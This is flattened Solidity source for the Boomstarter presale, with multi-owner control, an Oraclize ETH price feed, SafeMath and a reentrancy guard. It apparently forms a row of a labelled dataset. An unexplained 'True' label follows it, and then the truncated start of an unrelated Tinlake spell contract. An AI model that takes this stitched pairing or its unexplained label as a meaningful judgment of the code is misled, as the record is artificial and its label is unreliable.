function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
// File: mixbytes-solidity/contracts/ownership/multiowned.sol
// Copyright (C) 2017 MixBytes, LLC
// Licensed under the Apache License, Version 2.0 (the "License").
// You may not use this file except in compliance with the License.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
// Code taken from https://github.com/ethereum/dapp-bin/blob/master/wallet/wallet.sol
// Audit, refactoring and improvements by github.com/Eenae
// @authors:
// Gav Wood <<span class="__cf_email__" data-cfemail="4126012435292524376f222e2c">[email protected]</span>>
// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a
// single, or, crucially, each of a number of, designated owners.
// usage:
// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by
// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the
// interior is executed.
pragma solidity ^0.4.15;
/// note: during any ownership changes all pending operations (waiting for more signatures) are cancelled
// TODO acceptOwnership
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!).
function multiowned(address[] _owners, uint _required)
public
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner) /* not isOwner yet! */);
uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(keccak256(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically keccak256(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically keccak256(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
// TODO block gas limit
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private pure returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/EthPriceDependent.sol
contract EthPriceDependent is usingOraclize, multiowned {
using SafeMath for uint256;
event NewOraclizeQuery(string description);
event NewETHPrice(uint price);
event ETHPriceOutOfBounds(uint price);
/// @notice Constructor
/// @param _initialOwners set owners, which can control bounds and things
/// described in the actual sale contract, inherited from this one
/// @param _consensus Number of votes enough to make a decision
/// @param _production True if on mainnet and testnet
function EthPriceDependent(address[] _initialOwners, uint _consensus, bool _production)
public
multiowned(_initialOwners, _consensus)
{
oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);
if (!_production) {
// Use it when testing with testrpc and etherium bridge. Don't forget to change address
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
} else {
// Don't call this while testing as it's too long and gets in the way
updateETHPriceInCents();
}
}
/// @notice Send oraclize query.
/// if price is received successfully - update scheduled automatically,
/// if at any point the contract runs out of ether - updating stops and further
/// updating will require running this function again.
/// if price is out of bounds - updating attempts continue
function updateETHPriceInCents() public payable {
// prohibit running multiple instances of update
// however don't throw any error, because it's called from __callback as well
// and we need to let it update the price anyway, otherwise there is an attack possibility
if ( !updateRequestExpired() ) {
NewOraclizeQuery("Oraclize request fail. Previous one still pending");
} else if (oraclize_getPrice("URL") > this.balance) {
NewOraclizeQuery("Oraclize request fail. Not enough ether");
} else {
oraclize_query(
m_ETHPriceUpdateInterval,
"URL",
"json(https://api.coinmarketcap.com/v1/ticker/ethereum/?convert=USD).0.price_usd",
m_callbackGas
);
m_ETHPriceLastUpdateRequest = getTime();
NewOraclizeQuery("Oraclize query was sent");
}
}
/// @notice Called on ETH price update by Oraclize
function __callback(bytes32 myid, string result, bytes proof) public {
require(msg.sender == oraclize_cbAddress());
uint newPrice = parseInt(result).mul(100);
if (newPrice >= m_ETHPriceLowerBound && newPrice <= m_ETHPriceUpperBound) {
m_ETHPriceInCents = newPrice;
m_ETHPriceLastUpdate = getTime();
NewETHPrice(m_ETHPriceInCents);
} else {
ETHPriceOutOfBounds(newPrice);
}
// continue updating anyway (if current price was out of bounds, the price might recover in the next cycle)
updateETHPriceInCents();
}
/// @notice set the limit of ETH in cents, oraclize data greater than this is not accepted
/// @param _price Price in US cents
function setETHPriceUpperBound(uint _price)
external
onlymanyowners(keccak256(msg.data))
{
m_ETHPriceUpperBound = _price;
}
/// @notice set the limit of ETH in cents, oraclize data smaller than this is not accepted
/// @param _price Price in US cents
function setETHPriceLowerBound(uint _price)
external
onlymanyowners(keccak256(msg.data))
{
m_ETHPriceLowerBound = _price;
}
/// @notice set the price of ETH in cents, called in case we don't get oraclize data
/// for more than double the update interval
/// @param _price Price in US cents
function setETHPriceManually(uint _price)
external
onlymanyowners(keccak256(msg.data))
{
// allow for owners to change the price anytime if update is not running
// but if it is, then only in case the price has expired
require( priceExpired() || updateRequestExpired() );
m_ETHPriceInCents = _price;
m_ETHPriceLastUpdate = getTime();
NewETHPrice(m_ETHPriceInCents);
}
/// @notice add more ether to use in oraclize queries
function topUp() external payable {
}
/// @dev change gas price for oraclize calls,
/// should be a compromise between speed and price according to market
/// @param _gasPrice gas price in wei
function setOraclizeGasPrice(uint _gasPrice)
external
onlymanyowners(keccak256(msg.data))
{
oraclize_setCustomGasPrice(_gasPrice);
}
/// @dev change gas limit for oraclize callback
/// note: should be changed only in case of emergency
/// @param _callbackGas amount of gas
function setOraclizeGasLimit(uint _callbackGas)
external
onlymanyowners(keccak256(msg.data))
{
m_callbackGas = _callbackGas;
}
/// @dev Check that double the update interval has passed
/// since last successful price update
function priceExpired() public view returns (bool) {
return (getTime() > m_ETHPriceLastUpdate + 2 * m_ETHPriceUpdateInterval);
}
/// @dev Check that price update was requested
/// more than 1 update interval ago
/// NOTE: m_leeway seconds added to offset possible timestamp inaccuracy
function updateRequestExpired() public view returns (bool) {
return ( (getTime() + m_leeway) >= (m_ETHPriceLastUpdateRequest + m_ETHPriceUpdateInterval) );
}
/// @dev to be overridden in tests
function getTime() internal view returns (uint) {
return now;
}
// FIELDS
/// @notice usd price of ETH in cents, retrieved using oraclize
uint public m_ETHPriceInCents = 0;
/// @notice unix timestamp of last update
uint public m_ETHPriceLastUpdate;
/// @notice unix timestamp of last update request,
/// don't allow requesting more than once per update interval
uint public m_ETHPriceLastUpdateRequest;
/// @notice lower bound of the ETH price in cents
uint public m_ETHPriceLowerBound = 100;
/// @notice upper bound of the ETH price in cents
uint public m_ETHPriceUpperBound = 100000000;
/// @dev Update ETH price in cents every 12 hours
uint public m_ETHPriceUpdateInterval = 60*60*12;
/// @dev offset time inaccuracy when checking update expiration date
uint public m_leeway = 30; // 30 seconds
/// @dev set just enough gas because the rest is not refunded
uint public m_callbackGas = 200000;
}
// File: contracts/IBoomstarterToken.sol
/// @title Interface of the BoomstarterToken.
interface IBoomstarterToken {
// multiowned
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function getOwner(uint ownerIndex) public view returns (address);
function getOwners() public view returns (address[]);
function isOwner(address _addr) public view returns (bool);
function amIOwner() external view returns (bool);
function revoke(bytes32 _operation) external;
function hasConfirmed(bytes32 _operation, address _owner) external view returns (bool);
// ERC20Basic
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
// ERC20
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
// BurnableToken
function burn(uint256 _amount) public returns (bool);
// TokenWithApproveAndCallMethod
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public;
// BoomstarterToken
function setSale(address account, bool isSale) external;
function switchToNextSale(address _newSale) external;
function thaw() external;
function disablePrivileged() external;
}
// File: mixbytes-solidity/contracts/security/ArgumentsChecker.sol
// Copyright (C) 2017 MixBytes, LLC
// Licensed under the Apache License, Version 2.0 (the "License").
// You may not use this file except in compliance with the License.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
pragma solidity ^0.4.15;
/// @title utility methods and modifiers of arguments validation
contract ArgumentsChecker {
/// @dev check which prevents short address attack
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4 /* function selector */);
_;
}
/// @dev check that address is valid
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
// File: zeppelin-solidity/contracts/ReentrancyGuard.sol
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="6a180f0709052a58">[email protected]</span>π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
// File: contracts/BoomstarterPresale.sol
/// @title Boomstarter pre-sale contract
contract BoomstarterPresale is ArgumentsChecker, ReentrancyGuard, EthPriceDependent {
using SafeMath for uint256;
event FundTransfer(address backer, uint amount, bool isContribution);
/// @dev checks that owners didn't finish the sale yet
modifier onlyIfSaleIsActive() {
require(m_active == true);
_;
}
/**
* @dev checks that finish date is not reached yet
* (and potentially start date, but not needed for presale)
* AND also that the limits for the sale are not met
* AND that current price is non-zero (updated)
*/
modifier checkLimitsAndDates() {
require((c_dateTo >= getTime()) &&
(m_currentTokensSold < c_maximumTokensSold) &&
(m_ETHPriceInCents > 0));
_;
}
/**
* @dev constructor, payable to fund oraclize calls
* @param _owners Addresses to do administrative actions
* @param _token Address of token being sold in this presale
* @param _beneficiary Address of the wallet, receiving all the collected ether
* @param _production False if you use testrpc, true if mainnet and most testnets
*/
function BoomstarterPresale(address[] _owners, address _token,
address _beneficiary, bool _production)
public
payable
EthPriceDependent(_owners, 2, _production)
validAddress(_token)
validAddress(_beneficiary)
{
m_token = IBoomstarterToken(_token);
m_beneficiary = _beneficiary;
m_active = true;
}
// PUBLIC interface: payments
// fallback function as a shortcut
function() payable {
require(0 == msg.data.length);
buy(); // only internal call here!
}
/**
* @notice presale participation. Can buy tokens only in batches by one price
* if price changes mid-transaction, you'll get only the amount for initial price
* and the rest will be refunded
*/
function buy()
public
payable
nonReentrant
onlyIfSaleIsActive
checkLimitsAndDates
{
// don't allow to buy anything if price change was too long ago
// effectively enforcing a sale pause
require( !priceExpired() );
address investor = msg.sender;
uint256 payment = msg.value;
require((payment.mul(m_ETHPriceInCents)).div(1 ether) >= c_MinInvestmentInCents);
/**
* calculate amount based on ETH/USD rate
* for example 2e17 * 36900 / 30 = 246 * 1e18
* 0.2 eth buys 246 tokens if Ether price is $369 and token price is 30 cents
*/
uint tokenAmount;
// either hard cap or the amount where prices change
uint cap;
// price of the batch of token bought
uint centsPerToken;
if (m_currentTokensSold < c_priceRiseTokenAmount) {
centsPerToken = c_centsPerTokenFirst;
// don't let price rise happen during this transaction - cap at price change value
cap = c_priceRiseTokenAmount;
} else {
centsPerToken = c_centsPerTokenSecond;
// capped by the presale cap itself
cap = c_maximumTokensSold;
}
// amount that can be bought depending on the price
tokenAmount = payment.mul(m_ETHPriceInCents).div(centsPerToken);
// number of tokens available before the cap is reached
uint maxTokensAllowed = cap.sub(m_currentTokensSold);
// if amount of tokens we can buy is more than the amount available
if (tokenAmount > maxTokensAllowed) {
// price of 1 full token in ether-wei
// example 30 * 1e18 / 36900 = 0.081 * 1e18 = 0.081 eth
uint ethPerToken = centsPerToken.mul(1 ether).div(m_ETHPriceInCents);
// change amount to maximum allowed
tokenAmount = maxTokensAllowed;
payment = ethPerToken.mul(tokenAmount).div(1 ether);
}
m_currentTokensSold = m_currentTokensSold.add(tokenAmount);
// send ether to external wallet
m_beneficiary.transfer(payment);
m_token.transfer(investor, tokenAmount);
uint change = msg.value.sub(payment);
if (change > 0)
investor.transfer(change);
FundTransfer(investor, payment, true);
}
/**
* @notice stop accepting ether, transfer remaining tokens to the next sale and
* give new sale permissions to transfer frozen funds and revoke own ones
* Can be called anytime, even before the set finish date
*/
function finishSale()
external
onlyIfSaleIsActive
onlymanyowners(keccak256(msg.data))
{
// next sale should be set using setNextSale
require( m_nextSale != address(0) );
// cannot accept ether anymore
m_active = false;
// send remaining oraclize ether to the next sale - we don't need oraclize anymore
EthPriceDependent next = EthPriceDependent(m_nextSale);
next.topUp.value(this.balance)();
// transfer all remaining tokens to the next sale account
m_token.transfer(m_nextSale, m_token.balanceOf(this));
// mark next sale as a valid sale account, unmark self as valid sale account
m_token.switchToNextSale(m_nextSale);
}
/**
* @notice set address of a sale that will be next one after the current sale is finished
* @param _sale address of the sale contract
*/
function setNextSale(address _sale)
external
validAddress(_sale)
onlymanyowners(keccak256(msg.data))
{
m_nextSale = _sale;
}
// FIELDS
/// @notice minimum investment in cents
uint public c_MinInvestmentInCents = 3000000; // $30k
/// @dev contract responsible for token accounting
IBoomstarterToken public m_token;
/// @dev address receiving all the ether, no intentions to refund
address public m_beneficiary;
/// @dev next sale to receive remaining tokens after this one finishes
address public m_nextSale;
/// @dev active sale can accept ether, inactive - cannot
bool public m_active;
/**
* @dev unix timestamp that sets presale finish date, which means that after that date
* you cannot buy anything, but finish can happen before, if owners decide to do so
*/
uint public c_dateTo = 1529064000; // 15-Jun-18 12:00:00 UTC
/// @dev current amount of tokens sold
uint public m_currentTokensSold = 0;
/// @dev limit of tokens to be sold during presale
uint public c_maximumTokensSold = uint(1500000) * uint(10) ** uint(18); // 1.5 million tokens
/// @notice first step, usd price of BoomstarterToken in cents
uint public c_centsPerTokenFirst = 30; // $0.3
/// @notice second step, usd price of BoomstarterToken in cents
uint public c_centsPerTokenSecond = 40; // $0.4
/// @notice amount of tokens sold at which price switch should happen
uint public c_priceRiseTokenAmount = uint(666668) * uint(10) ** uint(18);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
// Verified using https://dapp.tools
// hevm: flattened sources of src/spell.sol
pragma solidity >=0.6.12;
////// src/spell.sol
// Copyright (C) 2020 Centrifuge
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.6.12; */
interface TinlakeRootLike {
function relyContract(address, address) external;
function denyContract(address, address) external;
}
interface FileLike {
function file(bytes32, uint) external;
function file(bytes32, address) external;
}
interface NAVFeedLike {
function file(bytes32 name, uint value) external;
function file(bytes32 name, uint risk_, uint thresholdRatio_, uint ceilingRatio_, uint rate_, uint recoveryRatePD_) external;
function discountRate() external returns(uint);
}
// This spell makes changes to the tinlake mainnet FF1 deployment:
// adds new risk groups
contract TinlakeSpell {
bool public done;
string constant public description = "Tinlake CF4 Mainnet Spell - 3";
// MAINNET ADDRESSES
// The contracts in this list should correspond to a tinlake deployment
